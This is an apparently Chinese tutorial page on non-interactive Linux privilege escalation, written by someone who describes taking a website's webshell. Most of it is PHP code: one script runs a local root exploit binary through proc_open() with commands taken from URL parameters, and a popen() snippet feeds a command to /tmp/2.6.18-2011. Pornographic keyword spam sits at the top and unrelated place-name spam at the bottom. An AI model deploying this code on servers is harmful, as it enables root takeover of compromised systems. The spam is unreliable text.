最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Linux下非交互式提權(quán)詳解

 更新時(shí)間:2017年03月16日 10:44:03   作者:該隱  
這篇文章主要介紹了Linux下非交互式提權(quán)的相關(guān)資料,文中介紹的非常詳細(xì),對(duì)大家具有一定的參考價(jià)值,需要的朋友們下面來(lái)一起看看吧。

前言

之前拿到某站的Webshell之后,在提權(quán)的時(shí)候發(fā)現(xiàn)網(wǎng)站不能反彈shell。而且,在滲透的時(shí)候經(jīng)常遇到那種不能反彈shell的,你的提權(quán)工具拿上去之后因?yàn)闆](méi)有交互式的環(huán)境,也不知道提權(quán)是否成功。因此,寫(xiě)了一個(gè)簡(jiǎn)單的工具。需要的朋友們可以參考學(xué)習(xí)。

方法如下

proce_open()

// path是提權(quán)工具的絕對(duì)路徑,例如:/usr/local/htdocs/2.6.18
// cmd是你需要執(zhí)行的命令,例如:whoami
if(isset($_GET['path']) && isset($_GET['cmd'])){
 $path = $_GET['path'];
 $cmd = $_GET['cmd'];
 $descriptorspec = array(
  0 => array("pipe", "r"),
  1 => array("pipe", "w"),
  2 => array("pipe", "w")
 );
 $process = proc_open($path, $descriptorspec, $pipes);
 
 if (is_resource($process)) {
  fwrite($pipes[0],$cmd);
  fclose($pipes[0]);
  echo stream_get_contents($pipes[1]);
  echo stream_get_contents($pipes[2]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  $return_value = proc_close($process);
 }  
}

代碼很簡(jiǎn)單,不懂的可以看看PHP手冊(cè),popen()在這里也可以實(shí)現(xiàn)相同的效果

另外,有了這個(gè)代碼之后,我們以后提權(quán)是不是就可以直接把提權(quán)工具扔到服務(wù)器上面,然后PHP代碼改一改,循環(huán)測(cè)試哪些提權(quán)工具是可用的了。

popen()

這是土司之前一個(gè)人發(fā)的,代碼原封不動(dòng)的放在了下面。稍微改一改就能達(dá)到上面一樣的效果

$sucommand = "/tmp/2.6.18-2011";
$fp = popen($sucommand ,"w");
fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111");
pclose($fp);

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作能帶來(lái)一定的幫助,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。

相關(guān)文章

  • 解決Ubuntu“E:Unable to locate package“錯(cuò)誤問(wèn)題

    解決Ubuntu“E:Unable to locate package“錯(cuò)誤問(wèn)題

    Ubuntu 16.04 64位安裝軟件時(shí)報(bào)錯(cuò),解決辦法是執(zhí)行 `sudo apt-get update`,Linux發(fā)行版維護(hù)軟件倉(cāng)庫(kù),常用軟件都在里面,用 `apt-get install` 命令直接安裝,編輯 `/etc/apt/sources.list` 文件更新源列表,執(zhí)行 `sudo apt-get update` 更新軟件列表
    2024-12-12
  • 分享服務(wù)器被入侵的處理過(guò)程

    分享服務(wù)器被入侵的處理過(guò)程

    這篇文章主要介紹了一次服務(wù)器被入侵的處理過(guò)程分享,下文中的給文件和目錄加鎖,是指給文件和目錄增加了一些屬性,只讀等,需要的朋友可以參考下
    2022-09-09
  • 解決Linux刪除文件空間仍然不釋放問(wèn)題

    解決Linux刪除文件空間仍然不釋放問(wèn)題

    本文記錄了Linux服務(wù)器在移動(dòng)文件過(guò)程中出現(xiàn)磁盤(pán)空間不足的問(wèn)題,找到占用磁盤(pán)最多的目錄或非必要的日志文件刪除后,空間仍然不釋放,經(jīng)查證,是因?yàn)槲募匀槐痪€程占用,故提出了通過(guò)echo清空文件內(nèi)容或者使用sudolsof+L1找到并清理占用文件的線程的解決方案
    2024-10-10
  • CentOS 5.4 服務(wù)器配置 yum安裝Apache+php+Mysql

    CentOS 5.4 服務(wù)器配置 yum安裝Apache+php+Mysql

    Centos 里的 yum 在線安裝很慢.以下是替換為中國(guó)CentOS鏡像服務(wù)器!
    2010-03-03
  • linux下C語(yǔ)言實(shí)現(xiàn)寫(xiě)日志功能

    linux下C語(yǔ)言實(shí)現(xiàn)寫(xiě)日志功能

    這篇文章給大家分享了linux下C語(yǔ)言實(shí)現(xiàn)寫(xiě)日志的相關(guān)功能方法以及實(shí)例代碼,有興趣的朋友可以學(xué)習(xí)參考下。
    2018-07-07
  • Linux系統(tǒng)(Centos6.5以上)安裝jdk教程解析

    Linux系統(tǒng)(Centos6.5以上)安裝jdk教程解析

    這篇文章主要介紹了Linux系統(tǒng)(Centos6.5以上)安裝jdk教程解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-09-09
  • Linux中g(shù)pio接口的使用方法示例

    Linux中g(shù)pio接口的使用方法示例

    這篇文章主要給大家介紹了關(guān)于Linux中g(shù)pio接口的使用方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-11-11
  • Apache配置虛擬目錄和多主機(jī)頭的方法

    Apache配置虛擬目錄和多主機(jī)頭的方法

    這篇文章主要介紹了apache中配置虛擬目錄,以及多主機(jī)頭配置,有需要的朋友,可以參考下
    2016-11-11
  • Linux文件查找命令總結(jié)(下篇)

    Linux文件查找命令總結(jié)(下篇)

    這篇文章主要介紹了Linux文件查找命令總結(jié)(下篇),本文章內(nèi)容詳細(xì),通過(guò)案例可以更好的掌握文件查找的相關(guān)命令,本篇為下篇,需要的朋友可以參考下
    2023-01-01
  • 你可能會(huì)用到的16個(gè)Linux命令

    你可能會(huì)用到的16個(gè)Linux命令

    這篇文章主要跟大家分享了一些在日常你可能會(huì)用到的16個(gè)Linux命令,文中通過(guò)示例代碼和圖文介紹的非常詳細(xì),對(duì)大家具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起看看吧。
    2017-04-04

最新評(píng)論

琼中| 内江市| 龙南县| 卢氏县| 龙井市| 江源县| 宜兰市| 麟游县| 北流市| 米易县| 铅山县| 三河市| 礼泉县| 夏邑县| 鱼台县| 邻水| 横峰县| 拉萨市| 什邡市| 巩义市| 商水县| 邯郸县| 沙雅县| 新丰县| 当涂县| 专栏| 平舆县| 锦州市| 黄大仙区| 华容县| 进贤县| 永平县| 敦化市| 凌云县| 万安县| 宁蒗| 永城市| 夏河县| 阳谷县| 通江县| 马鞍山市|